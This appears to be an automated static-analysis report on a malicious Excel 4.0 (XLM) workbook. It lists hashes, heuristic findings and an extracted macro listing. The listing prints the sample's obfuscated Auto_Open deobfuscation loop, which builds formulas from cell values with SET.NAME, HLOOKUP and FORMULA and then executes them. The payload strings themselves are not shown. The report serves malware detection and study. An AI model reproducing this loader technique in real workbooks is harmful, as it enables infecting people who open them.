Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a851c76daf6fd308…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:42 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 6c3303d81993bf67ec293be48eff0d62 SHA-1: c21354d0f4e48deffb1ce76dfe6520cf9a43580a SHA-256: a851c76daf6fd30803d639ff7390d61aabf98973b8e7398d68ff33c7dcc7a380
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6631 bytes
SHA-256: de32eb477980e88541ddbdde9a85e8ff178c6a54fd6a32f9ac1829684474e910
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VPTugCjNeG
' 0018     24 LABEL : Cell Value, String Constant - alAimApjB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B144 
' 0018     24 LABEL : Cell Value, String Constant - cLXbrTKxf len=0 
' 0018     25 LABEL : Cell Value, String Constant - crwxsEeZjg len=0 
' 0018     20 LABEL : Cell Value, String Constant - ctPbz len=0 
' 0018     24 LABEL : Cell Value, String Constant - EnmhCjSvz len=0 
' 0018     24 LABEL : Cell Value, String Constant - gjSlcIgbP len=0 
' 0018     22 LABEL : Cell Value, String Constant - HwLRTXD len=0 
' 0018     26 LABEL : Cell Value, String Constant - ITLHvXJjNDb len=0 
' 0018     25 LABEL : Cell Value, String Constant - ivvJVneOFK len=0 
' 0018     27 LABEL : Cell Value, String Constant - JnobBUTweKIK len=0 
' 0018     27 LABEL : Cell Value, String Constant - njROaSUPAhcd len=0 
' 0018     22 LABEL : Cell Value, String Constant - PqAswRz len=0 
' 0018     22 LABEL : Cell Value, String Constant - rJSaOfT len=0 
' 0018     25 LABEL : Cell Value, String Constant - sBPahBWqtj len=0 
' 0018     25 LABEL : Cell Value, String Constant - uvAAPPdpMu len=0 
' 0018     22 LABEL : Cell Value, String Constant - vhdzbjS len=0 
' 0018     20 LABEL : Cell Value, String Constant - wHvft len=0 
' 0018     26 LABEL : Cell Value, String Constant - WswEXWDbnJn len=0 
' 0018     22 LABEL : Cell Value, String Constant - xbhGMUY len=0 
' 0018     27 LABEL : Cell Value, String Constant - YHQfSRUYoDRy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VPTugCjNeG,B61,"SET.NAME("cLXbrTKxf",VALUE("0"))",""
'  VPTugCjNeG,B65,"SET.NAME("JnobBUTweKIK",cLXbrTKxf)",""
'  VPTugCjNeG,B69,"SET.NAME("xbhGMUY",cLXbrTKxf)",""
'  VPTugCjNeG,B74,"SET.NAME("sBPahBWqtj",COUNTA(vhdzbjS))",""
'  VPTugCjNeG,B77,"SET.NAME("PqAswRz",COUNTA(HwLRTXD))",""
'  VPTugCjNeG,B79,[],""
'  VPTugCjNeG,B84,"SET.NAME("rJSaOfT","")",""
'  VPTugCjNeG,B87,"JnobBUTweKIK",""
'  VPTugCjNeG,B89,"SET.NAME("ivvJVneOFK",HLOOKUP("*",vhdzbjS,JnobBUTweKIK,FALSE))",""
'  VPTugCjNeG,B91,"uvAAPPdpMu",""
'  VPTugCjNeG,B93,"SET.NAME("alAimApjB",cLXbrTKxf)",""
'  VPTugCjNeG,B96,[],""
'  VPTugCjNeG,B98,"alAimApjB",""
'  VPTugCjNeG,B101,"WswEXWDbnJn",""
'  VPTugCjNeG,B106,"ITLHvXJjNDb",""
'  VPTugCjNeG,B109,"gjSlcIgbP",""
'  VPTugCjNeG,B111,"SET.NAME("crwxsEeZjg",VALUE(HLOOKUP("*",HwLRTXD,gjSlcIgbP,FALSE)))",""
'  VPTugCjNeG,B114,"wHvft",""
'  VPTugCjNeG,B117,"rJSaOfT",""
'  VPTugCjNeG,B120,"xbhGMUY",""
'  VPTugCjNeG,B124,NEXT(),""
'  VPTugCjNeG,B126,"YHQfSRUYoDRy",""
'  VPTugCjNeG,B128,"SET.NAME("f",INT(T(FORMULA(T(rJSaOfT)&"",""&T(YHQfSRUYoDRy)))))",""
'  VPTugCjNeG,B131,"njROaSUPAhcd",""
'  VPTugCjNeG,B136,NEXT(),""
'  VPTugCjNeG,B140,RETURN(),""
'  VPTugCjNeG,B169,"SET.NAME("EnmhCjSvz",B61)",""
'  VPTugCjNeG,B171,"vhdzbjS",""
'  VPTugCjNeG,B175,"SET.NAME("HwLRTXD",R51C14)",""
'  VPTugCjNeG,B179,"SET.NAME("njROaSUPAhcd",190)",""
'  VPTugCjNeG,B184,"SET.NAME("ctPbz",2)",""
'  VPTugCjNeG,B189,EnmhCjSvz(),""
'  VPTugCjNeG,B190,HALT(),""